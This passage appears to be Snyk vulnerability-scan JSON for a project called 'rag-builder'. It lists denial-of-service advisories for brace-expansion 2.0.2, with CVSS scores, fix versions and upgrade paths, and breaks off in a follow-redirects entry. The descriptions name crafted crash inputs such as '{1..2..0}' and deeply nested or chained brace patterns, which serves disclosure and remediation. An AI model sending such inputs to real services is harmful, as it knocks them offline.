"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"rag-builder@1.0.0",
"glob@8.1.0",
"minimatch@5.1.6",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"glob@12.0.0",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"rag-builder@1.0.0",
"glob@8.1.0",
"minimatch@5.1.6",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"glob@12.0.0",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"rag-builder@1.0.0",
"glob@8.1.0",
"minimatch@5.1.6",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"glob@12.0.0",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"rag-builder@1.0.0",
"glob@8.1.0",
"minimatch@5.1.6",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"glob@12.0.0",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"rag-builder@1.0.0",
"glob@8.1.0",
"minimatch@5.1.6",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"glob@12.0.0",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"rag-builder@1.0.0",
"glob@8.1.0",
"minimatch@5.1.6",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"glob@12.0.0",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-FOLLOWREDIRECTS-16032162",
"title": "Improper Removal of Sensitive Information Before Storage or Transfer",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"credit": [
"Dennis Sepede"
],
"semver": {
"vulnerable": [
"<1.16.0"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.16.0"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 7.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "follow-redirects",
"references": [
{
"url": "https://github.com/follow-redirects/follow-redirects/security/advisories/GHSA-r4q5-vmmm-2653",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/follow-redirects/follow-redirects/commit/844c4d302ac963d29bdb5dc1754ec7df3d70d7f9",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-24T02:21:59.048624Z"
},
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-05-31T05:27:32.275260Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-24T14:14:28.334518Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
